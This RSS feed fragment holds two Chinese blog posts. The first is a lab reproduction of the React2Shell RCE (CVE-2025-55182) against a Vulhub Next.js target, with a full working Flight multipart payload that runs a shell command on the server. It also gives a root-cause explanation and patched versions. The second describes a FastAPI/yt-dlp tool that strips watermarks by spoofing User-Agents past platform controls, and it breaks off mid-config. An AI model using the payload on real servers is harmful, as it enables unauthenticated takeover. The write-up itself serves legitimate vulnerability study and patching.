</content:encoded></item><item><title>React2Shell 远程代码执行漏洞（CVE-2025-55182）复现</title><link>https://blog.mal-suen.cn/posts/2026/03/196/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/03/196/</guid><description>React Server Components 传输协议（Flight）反序列化引入的未授权远程代码执行漏洞，CVSS 10.0，影响 React 19.0.0、19.1.0、19.1.1、19.2.0 与使用 App Router 的 Next.js 15.x、16.x。本文在 Vulhub 环境中完成从指纹识别、原型链污染验证到命令回显的完整复现，并拆解 Flight 协议对象恢复机制中的利用链条。</description><pubDate>Wed, 18 Mar 2026 05:38:06 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2025-55182 是 React Server Components 传输协议（Flight）反序列化引入的未授权远程代码执行漏洞，CVSS 10.0，影响 React 19.0.0、19.1.0、19.1.1、19.2.0 以及使用 App Router 的 Next.js 15.x、16.x。攻击者构造包含自引用占位符（$@0）的 multipart 报文，诱导 React 反序列化引擎恢复恶意对象，经原型链污染取得全局 Function 构造函数，在服务端执行任意命令，命令输出通过重定向响应头回显。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 react/CVE-2025-55182 靶场（Next.js 15.5.6），覆盖指纹识别、原型链污染验证、命令回显三个阶段，并拆解 Flight 协议对象恢复机制中的利用链条。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-55182&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;React 19.0.0、19.1.0、19.1.1、19.2.0（react-server-dom-webpack、react-server-dom-parcel 对应版本）；Next.js 15.x、16.x（App Router）&lt;/td&gt;
&lt;td&gt;远程代码执行（RCE）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;使用 Vulhub 快速搭建漏洞环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装 Docker 和 docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ cd vulhub/react/CVE-2025-55182
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
aade3a95dd4c   vulhub/nextjs:15.5.6   &quot;docker-entrypoint.s…&quot;   3 minutes ago   Up 3 minutes   0.0.0.0:3000-&amp;gt;3000/tcp, :::3000-&amp;gt;3000/tcp   cve-2025-55182-web-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;环境启动后访问 &lt;code&gt;http://192.168.31.148:3000/&lt;/code&gt;，可以看到程序正常运行。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./React2Shell-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2025-55182%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2025-55182-nextjs.png&quot; alt=&quot;Vulhub 靶机 Next.js 应用首页&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE VERSION
3000/tcp open  ppp?
| fingerprint-strings: 
|   DNSVersionBindReqTCP, Help, NCP, RPCCheck: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
...（此处省略部分响应头）
|     X-Powered-By: Next.js
...（此处省略部分响应头）
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...（此处省略指纹详情）
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从 Nmap 扫描结果来看，目标环境几乎可以确定就是 &lt;strong&gt;CVE-2025-55182（React2Shell）&lt;/strong&gt; 的典型靶机环境。&lt;/p&gt;
&lt;p&gt;扫描结果中的几个关键指纹已经确认了目标：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;服务&lt;/strong&gt;：&lt;code&gt;X-Powered-By: Next.js&lt;/code&gt;，运行在端口 &lt;strong&gt;3000&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键响应头&lt;/strong&gt;：&lt;code&gt;Vary: rsc, next-router-state-tree...&lt;/code&gt; 这是 Next.js 15+ 使用 &lt;strong&gt;React Server Components（RSC）&lt;/strong&gt; 的典型特征。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缓存特征&lt;/strong&gt;：&lt;code&gt;x-nextjs-cache: HIT&lt;/code&gt;，说明应用处于生产模式或高级缓存模式，符合该漏洞触发的上下文。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;确认漏洞指纹&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;curl&lt;/code&gt; 尝试获取一个 RSC 数据包，观察服务器是否处理：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -H &quot;RSC: 1&quot; -H &quot;Next-Router-State-Tree: 1&quot; http://192.168.31.148:3000/ -i
HTTP/1.1 200 OK
...（其余响应头省略）

1:&quot;$Sreact.fragment&quot;
2:I[9766,[],&quot;&quot;]
3:I[8924,[],&quot;&quot;]
a:I[7150,[],&quot;&quot;]
...（其余 Flight 数据省略）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回内容包含大量的 &lt;code&gt;1:I{...}&lt;/code&gt; 这种 Flight 协议格式的数据，说明 RSC 解析逻辑开启，漏洞利用基础存在。&lt;/p&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;p&gt;先触发一个原型链污染导致的 &lt;code&gt;500&lt;/code&gt; 错误，验证反序列化逻辑是否会被外部输入干扰。使用 Python 发送一个带有恶意序列化对象的 &lt;code&gt;POST&lt;/code&gt; 请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

url = &quot;http://192.168.31.148:3000/&quot;
headers = {
    &quot;Next-Action&quot;: &quot;12345&quot;, # 随意填写的 Action ID
    &quot;Content-Type&quot;: &quot;multipart/form-data; boundary=----ExploitBoundary&quot;
}

# 构造恶意 Flight 协议数据块，尝试污染 then 属性
data = (
    &quot;------ExploitBoundary\r\n&quot;
    &apos;Content-Disposition: form-data; name=&quot;1&quot;\r\n\r\n&apos;
    &apos;{&quot;$@1&quot;: {&quot;then&quot;: &quot;polluted&quot;}}\r\n&apos;
    &quot;------ExploitBoundary--\r\n&quot;
)

r = requests.post(url, headers=headers, data=data)
print(f&quot;Status Code: {r.status_code}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 verify.py
Status Code: 500
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器返回 500，说明反序列化逻辑被成功干扰。&lt;/p&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;在验证的基础上构造完整利用报文，使用 Burp Suite 发送如下数据包（各字段的构造原理见下文“漏洞核心原理”一节）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1
Host: 192.168.31.148:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 758

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=&quot;0&quot;

{
  &quot;then&quot;: &quot;$1:__proto__:then&quot;,
  &quot;status&quot;: &quot;resolved_model&quot;,
  &quot;reason&quot;: -1,
  &quot;value&quot;: &quot;{\&quot;then\&quot;:\&quot;$B1337\&quot;}&quot;,
  &quot;_response&quot;: {
    &quot;_prefix&quot;: &quot;var res=process.mainModule.require(&apos;child_process&apos;).execSync(&apos;id&apos;).toString().trim();;throw Object.assign(new Error(&apos;NEXT_REDIRECT&apos;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});&quot;,
    &quot;_chunks&quot;: &quot;$Q2&quot;,
    &quot;_formData&quot;: {
      &quot;get&quot;: &quot;$1:constructor:constructor&quot;
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=&quot;1&quot;

&quot;$@0&quot;
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=&quot;2&quot;

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发送请求后，&lt;code&gt;id&lt;/code&gt; 命令的执行结果出现在响应头 &lt;code&gt;x-action-redirect&lt;/code&gt; 中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;靶机容器内 Next.js 进程以 root 身份运行，因此 &lt;code&gt;id&lt;/code&gt; 返回 uid=0(root)；实际利用时能执行的命令权限取决于目标进程的运行身份。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./React2Shell-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2025-55182%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/CVE-2025-55182-burpsuite.png&quot; alt=&quot;Burp Suite 中 x-action-redirect 响应头回显 id 命令结果&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;p&gt;CVE-2025-55182 的核心在于 React Server Components（RSC）传输协议（Flight 协议）在对象恢复阶段的安全校验逻辑存在缺陷。&lt;/p&gt;
&lt;p&gt;Flight 协议为了实现复杂对象的序列化，支持一种基于索引的引用机制。攻击者通过构造多段 &lt;code&gt;multipart/form-data&lt;/code&gt; 报文，在首个数据段中定义一个带有恶意属性的 JSON 对象，并在后续数据段中使用 &lt;code&gt;$@0&lt;/code&gt; 这种“自引用”占位符。这种操作会强制 React 的反序列化引擎在未经过滤的情况下重新恢复（Revive）处于内存中的首个对象。&lt;/p&gt;
&lt;p&gt;利用的关键在于伪造对象的内部状态。通过注入 &lt;code&gt;status: &quot;resolved_model&quot;&lt;/code&gt;，攻击者使 React 解析器按“已解析”状态处理该对象，从而访问其内部属性 &lt;code&gt;_response&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;此时，攻击者通过特定的引用路径实现原型链污染（Prototype Pollution）。Payload 利用 &lt;code&gt;__proto__&lt;/code&gt; 将对象的 &lt;code&gt;then&lt;/code&gt; 属性重定向，使得当 React 尝试异步处理这个伪造模型时，会自动触发这个被劫持的属性。与此同时，利用 &lt;code&gt;_formData&lt;/code&gt; 字段下的 &lt;code&gt;get&lt;/code&gt; 属性，通过 &lt;code&gt;constructor:constructor&lt;/code&gt; 这种递归引用，攻击者可以在内存中定位并获取 Node.js 环境下的全局 &lt;code&gt;Function&lt;/code&gt; 构造函数。&lt;/p&gt;
&lt;p&gt;最终的执行阶段依赖于 &lt;code&gt;_response&lt;/code&gt; 对象中的 &lt;code&gt;_prefix&lt;/code&gt; 字段。由于之前的引用链已经取得 &lt;code&gt;Function&lt;/code&gt; 构造函数，&lt;code&gt;_prefix&lt;/code&gt; 中存储的攻击字符串（如系统命令执行代码）会被直接作为函数体构造并执行。由于整个过程发生在服务器端的反序列化上下文中，攻击者无需任何身份验证即可实现远程代码执行。&lt;/p&gt;
&lt;p&gt;命令回显的通道同样由 payload 构造：&lt;code&gt;_prefix&lt;/code&gt; 中的代码把命令结果拼进一个伪造的 &lt;code&gt;NEXT_REDIRECT&lt;/code&gt; 错误的 digest 字段（&lt;code&gt;NEXT_REDIRECT;push;/login?a=${res};307;&lt;/code&gt;）。Next.js 处理 Server Action 时会把这类错误转换为重定向，重定向地址写入响应头 &lt;code&gt;x-action-redirect&lt;/code&gt;，命令输出由此回显。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;p&gt;官方已发布修复版本，按当前使用的版本线升级：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;React：19.0.1、19.1.2、19.2.1&lt;/li&gt;
&lt;li&gt;Next.js：15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7（canary：15.6.0-canary.58、16.1.0-canary.12 及之后）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;适用范围：应用不使用服务端渲染，或不使用支持 React Server Components 的框架／打包器，则不受此漏洞影响。本文靶机使用的 Next.js 15.5.6 属于 15.5.x 受影响版本，对应修复版本为 15.5.7。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;React 官方公告：https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&lt;/li&gt;
&lt;li&gt;GitHub Advisory（React）：https://github.com/advisories/GHSA-fv66-9v8q-g76r&lt;/li&gt;
&lt;li&gt;Next.js 安全公告：https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/react/CVE-2025-55182&lt;/li&gt;
&lt;li&gt;原始 POC：https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc&lt;/li&gt;
&lt;li&gt;利用链研究：https://github.com/ejpir/CVE-2025-55182-research&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>基于 FastAPI + yt-dlp的无水印视频解析微信小程序</title><link>https://blog.mal-suen.cn/posts/2025/11/211/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2025/11/211/</guid><description>本文记录了一款高可用视频解析工具 StreamPick 的全链路实现过程。文章从内容创作者的实际需求出发，深度解析了如何利用 FastAPI 异步框架配合 yt-dlp 构建后端解析引擎，并针对微信小程序环境下的权限自愈、异步状态锁及 HTTPS 协议对齐等工程难点给出了闭环解决方案。此外，本文还分享了基于 Systemd 与 Crontab 的自动化运维策略，旨在通过工程化手段实现对短视频平台风控逻辑的动态对抗，确保生产环境下的服务稳定性与安全隔离。</description><pubDate>Thu, 27 Nov 2025 03:29:54 GMT</pubDate><content:encoded>&lt;h2&gt;核心需求：为什么要下载无水印视频？&lt;/h2&gt;
&lt;p&gt;在日常使用短视频平台时，最常见的操作就是点击“保存视频”。但这种官方渠道下载的视频，往往在角落里带有跳动的水印（包含平台 Logo 和作者 ID）。&lt;/p&gt;
&lt;p&gt;对于普通用户来说，这可能只是观感上的小小瑕疵；但对于&lt;strong&gt;开发者&lt;/strong&gt;、&lt;strong&gt;内容创作者&lt;/strong&gt;或&lt;strong&gt;技术研究者&lt;/strong&gt;而言，水印的存在意味着：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;视觉干扰&lt;/strong&gt;：水印会遮挡画面细节，在进行视频分析、AI 识别或技术演示时，这些动态 Logo 会成为干扰噪声。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分发受限&lt;/strong&gt;：主流平台（如抖音、小红书等）拥有极强的内容识别算法。带有 A 平台水印的视频直接上传到 B 平台，会被系统判定为“搬运”从而限流。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;二次创作痛点&lt;/strong&gt;：剪辑素材需要较高纯净度的原始画面，以保证成片的质量。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此，&lt;strong&gt;StreamPick&lt;/strong&gt; 的核心目标就是通过技术手段，绕过客户端的展示层，直接嗅探并提取存储在 CDN 上的&lt;strong&gt;原始无水印视频直链&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;项目架构&lt;/h2&gt;
&lt;p&gt;StreamPick 采用了一套&lt;strong&gt;前端轻量化、后端工程化、网关标准化&lt;/strong&gt;的架构。&lt;/p&gt;
&lt;h3&gt;全链路流程&lt;/h3&gt;
&lt;p&gt;整个解析流程可以抽象为四个核心阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;用户交互层&lt;/strong&gt;：微信小程序接收用户粘贴的原始分享链接（如 &lt;code&gt;v.douyin.com/...&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流量调度层（Nginx）&lt;/strong&gt;：通过反向代理将请求转发至内部 API 端口，并对外部加密请求进行安全卸载。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心逻辑层（FastAPI）&lt;/strong&gt;：后端接入请求后，通过解析引擎模拟终端访问，深度追踪链接的跳转轨迹并提取隐藏的原始资源指纹。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资源交付层&lt;/strong&gt;：后端返回视频、封面及标题的直链，小程序通过 &lt;code&gt;downloadFile&lt;/code&gt; 接口完成最终的物理保存。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;核心组件设计逻辑&lt;/h3&gt;
&lt;h4&gt;接入网关：Nginx&lt;/h4&gt;
&lt;p&gt;我们没有直接暴露后端端口，而是利用 Nginx 做了&lt;strong&gt;路径重写（Path Rewrite）&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;版本控制&lt;/strong&gt;：对外统一暴露 &lt;code&gt;/v1/stream-pick/&lt;/code&gt;，方便后续版本迭代。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全隔离&lt;/strong&gt;：隐藏了后端真实的端口，通过阿里云安全组实现物理隔离。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协议对齐&lt;/strong&gt;：解决反向代理下 HTTPS 的证书校验问题，确保小程序请求不被拦截。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;解析引擎：FastAPI + yt-dlp&lt;/h4&gt;
&lt;p&gt;后端选择 &lt;strong&gt;FastAPI&lt;/strong&gt; 是为了利用其异步非阻塞（Asynchronous）的特性，这在处理耗时较长的网络嗅探任务时表现优异。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;yt-dlp 集成&lt;/strong&gt;：利用其成熟的插件生态，实现对数百个短视频平台的协议支持。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模拟 UA 策略&lt;/strong&gt;：通过注入特定的 &lt;code&gt;User-Agent&lt;/code&gt;（如高版本 Chrome 或移动端 Safari），绕过目标平台的简易风控。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;环境隔离：venv 物理沙盒&lt;/h4&gt;
&lt;p&gt;为了保证生产环境的整洁，我们在 &lt;code&gt;/var/www/&lt;/code&gt; 下为项目建立了独立的 &lt;code&gt;python3 -m venv&lt;/code&gt; 虚拟环境。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;优势&lt;/strong&gt;：解析库（尤其是 &lt;code&gt;yt-dlp&lt;/code&gt;）需要高频更新以对抗平台算法升级，虚拟环境确保了升级操作不会影响服务器上的其他 Python 服务（如我们的自动化脚本或监控工具）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;流程自动化&lt;/h3&gt;
&lt;p&gt;流媒体平台的风控逻辑是动态的。为了防止“今天好用，明天报废”，我们在架构中加入了一层&lt;strong&gt;自动运维逻辑&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Systemd 守护&lt;/strong&gt;：确保服务崩溃后秒级重启。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crontab 定时任务&lt;/strong&gt;：每月自动触发更新脚本，强制升级解析库并重启服务，将维护成本降至最低。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;前端实现&lt;/h2&gt;
&lt;p&gt;在小程序前端开发中，核心任务是处理异步状态的可靠性以及微信原生权限接口的特殊行为。StreamPick 的前端设计主要聚焦于状态锁、权限自愈以及多媒体资源的动态调度。&lt;/p&gt;
&lt;h3&gt;异步状态管理：防止解析请求过载&lt;/h3&gt;
&lt;p&gt;视频解析涉及后端的网络嗅探，其响应时间受目标平台反爬策略影响，通常在 3-8 秒。为避免用户在请求处理期间重复触发解析逻辑，程序在 &lt;code&gt;onParse&lt;/code&gt; 函数入口处设置了布尔型变量 &lt;code&gt;loading&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;逻辑实现&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (this.data.loading) return; 
this.setData({ loading: true });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过状态预检拦截后续指令，直至 &lt;code&gt;complete&lt;/code&gt; 回调触发并重置 &lt;code&gt;loading&lt;/code&gt;。这一设计确保了后端 &lt;code&gt;yt-dlp&lt;/code&gt; 进程的有序调度，防止服务器因瞬时并发导致的 IP 频控或资源耗尽。&lt;/p&gt;
&lt;h3&gt;权限自愈链路：应对 writePhotosAlbum 授权异常&lt;/h3&gt;
&lt;p&gt;微信小程序的相册写入权限（&lt;code&gt;scope.writePhotosAlbum&lt;/code&gt;）具有特定的持久化行为。一旦用户在首次请求时点击“拒绝”，后续的保存指令将直接进入失败分支（Fail Callback），且系统不再自动弹出授权申请窗口。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;权限恢复逻辑如下：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;状态嗅探&lt;/strong&gt;：在执行保存动作前，调用 &lt;code&gt;wx.getSetting&lt;/code&gt; 获取当前的权限集合。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异常判定&lt;/strong&gt;：若检测到 &lt;code&gt;authSetting[&apos;scope.writePhotosAlbum&apos;]&lt;/code&gt; 为 &lt;code&gt;false&lt;/code&gt;（即已拒绝），则判断为功能受限状态。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手动引导&lt;/strong&gt;：通过 &lt;code&gt;wx.showModal&lt;/code&gt; 明确告知用户功能失效原因，并配合 &lt;code&gt;confirm&lt;/code&gt; 回调执行 &lt;code&gt;wx.openSetting&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提权跳转&lt;/strong&gt;：用户在设置页面手动开启权限后，返回小程序即可恢复正常的保存链路。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;多媒体资源调度：高阶封装与动态分发&lt;/h3&gt;
&lt;p&gt;后端 API 返回的数据结构包含视频 URL、封面图 URL 以及标题文本。为了优化代码结构，前端引入了基于状态的动态分发机制。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;上下文映射&lt;/strong&gt;：根据当前活跃的标签页（&lt;code&gt;activeTab&lt;/code&gt;）状态，系统自动路由至不同的处理逻辑：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;二进制流下载&lt;/strong&gt;：视频与图片统一通过 &lt;code&gt;_doDownloadFile&lt;/code&gt; 封装函数处理。该函数内部集成了 &lt;code&gt;wx.downloadFile&lt;/code&gt;，并根据传入的 &lt;code&gt;type&lt;/code&gt; 参数（video/image）动态调用 &lt;code&gt;wx.saveVideoToPhotosAlbum&lt;/code&gt; 或 &lt;code&gt;wx.saveImageToPhotosAlbum&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文本流操作&lt;/strong&gt;：标题部分直接路由至剪贴板写入接口（&lt;code&gt;wx.setClipboardData&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;域名校验规范&lt;/strong&gt;：在生产环境中，所有解析出的 CDN 链接必须符合微信公众平台配置的 &lt;code&gt;downloadFile&lt;/code&gt; 合法域名要求。前端通过监测 &lt;code&gt;res.statusCode&lt;/code&gt; 确保资源成功拉取至本地临时路径，随后执行持久化保存。&lt;/p&gt;
&lt;h2&gt;后端设计：基于 FastAPI 与 Systemd 的自动化解析体系&lt;/h2&gt;
&lt;p&gt;后端架构的核心任务是在生产环境下提供高可用的解析接口，并确保解析引擎能够自动应对短视频平台的算法迭代。StreamPick 的后端设计聚焦于环境隔离、进程守护以及自动化的运维策略。&lt;/p&gt;
&lt;h3&gt;环境隔离与依赖管理策略&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;/var/www/&lt;/code&gt; 生产目录下，后端通过 Python 虚拟环境实现物理隔离。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;隔离必要性&lt;/strong&gt;：由于 &lt;code&gt;yt-dlp&lt;/code&gt; 等解析库需要频繁更新以对抗平台风控，使用 &lt;code&gt;venv&lt;/code&gt; 可确保项目依赖库的升级不会污染全局系统环境，同时避免不同项目间因版本冲突导致的运行异常。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;依赖配置&lt;/strong&gt;：核心组件包括 &lt;code&gt;FastAPI&lt;/code&gt;（异步 Web 框架）、&lt;code&gt;Uvicorn&lt;/code&gt;（高性能 ASGI 服务器）以及 &lt;code&gt;yt-dlp&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 创建项目根目录
mkdir -p /var/www/stream-pick-api
cd /var/www/stream-pick-api

# 创建虚拟环境
python3 -m venv venv
source venv/bin/activate

# 安装生产环境依赖
pip install fastapi uvicorn yt-dlp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;解析逻辑实现：特征嗅探与指纹提取&lt;/h3&gt;
&lt;p&gt;后端接口接收前端传参后的核心逻辑是对目标 URL 进行多级跳转追踪与资源定位。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;模拟访问配置&lt;/strong&gt;：通过在 &lt;code&gt;yt-dlp&lt;/code&gt; 的 &lt;code&gt;ydl_opts&lt;/code&gt; 中注入高版本的 &lt;code&gt;User-Agent&lt;/code&gt;（如 Chrome 122），模拟真实浏览器行为，绕过基础频率限制。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;非阻塞提取&lt;/strong&gt;：采用 &lt;code&gt;download=False&lt;/code&gt; 模式。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;逻辑描述&lt;/strong&gt;：程序仅抓取网页源代码及 JSON 元数据，不触发实际的物理下载动作。通过正则匹配或 DOM 解析，提取出隐藏在 CDN 节点中的无水印视频直链（URL）、封面图（Thumbnail）及视频标题。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;异常处理&lt;/strong&gt;：针对不同平台的返回结构差异，设置了分级容错机制。若解析出的 &lt;code&gt;url&lt;/code&gt; 为空，则自动尝试从 &lt;code&gt;formats&lt;/code&gt; 列表的末尾抓取最高质量的流地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# main.py 核心片段
@app.post(&quot;/parse&quot;)
async def parse_video(req: VideoRequest):
    ydl_opts = {
        &apos;format&apos;: &apos;bestvideo+bestaudio/best&apos;,
        &apos;quiet&apos;: True,
        &apos;extract_flat&apos;: False,
        &apos;user_agent&apos;: &apos;Mozilla/5.0 ...&apos;
    }
    try:
        with yt_dlp.YoutubeDL(ydl_opts) as ydl:
            info = ydl.extract_info(req.url, download=False)
            # ... 提取关键信息逻辑
            return {&quot;success&quot;: True, &quot;data&quot;: {...}}
    except Exception:
        return {&quot;success&quot;: False, &quot;error&quot;: &quot;Internal Processing Error&quot;} # 隐藏底层报错详情

if __name__ == &quot;__main__&quot;:
    import uvicorn
    # 仅监听 127.0.0.1，强制流量走 Nginx
    uvicorn.run(app, host=&quot;127.0.0.1&quot;, port=18000)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;进程守护：Systemd 服务自动化管理&lt;/h3&gt;
&lt;p&gt;为了确保解析服务在服务器重启或进程崩溃后能够自动恢复，系统编写了 &lt;code&gt;stream-pick.service&lt;/code&gt; 配置文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;生命周期控制&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ExecStart&lt;/strong&gt;：指定虚拟环境内的 &lt;code&gt;uvicorn&lt;/code&gt; 绝对路径执行 &lt;code&gt;main:app&lt;/code&gt;，确保环境的一致性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Restart策略&lt;/strong&gt;：配置 &lt;code&gt;Restart=always&lt;/code&gt; 与 &lt;code&gt;RestartSec=3&lt;/code&gt;。当检测到后端进程因内存溢出或逻辑错误退出时，系统将在 3 秒内强制拉起新进程。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;权限管控&lt;/strong&gt;：服务运行于 &lt;code&gt;www-data&lt;/code&gt; 用户组下，通过最小权限原则降低系统被渗透的风险。&lt;/p&gt;
&lt;p&gt;创建一个系统服务，让它随开机启动：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/systemd/system/stream-pick.service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;粘贴以下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=StreamPick API Service
After=network.target

[Service]
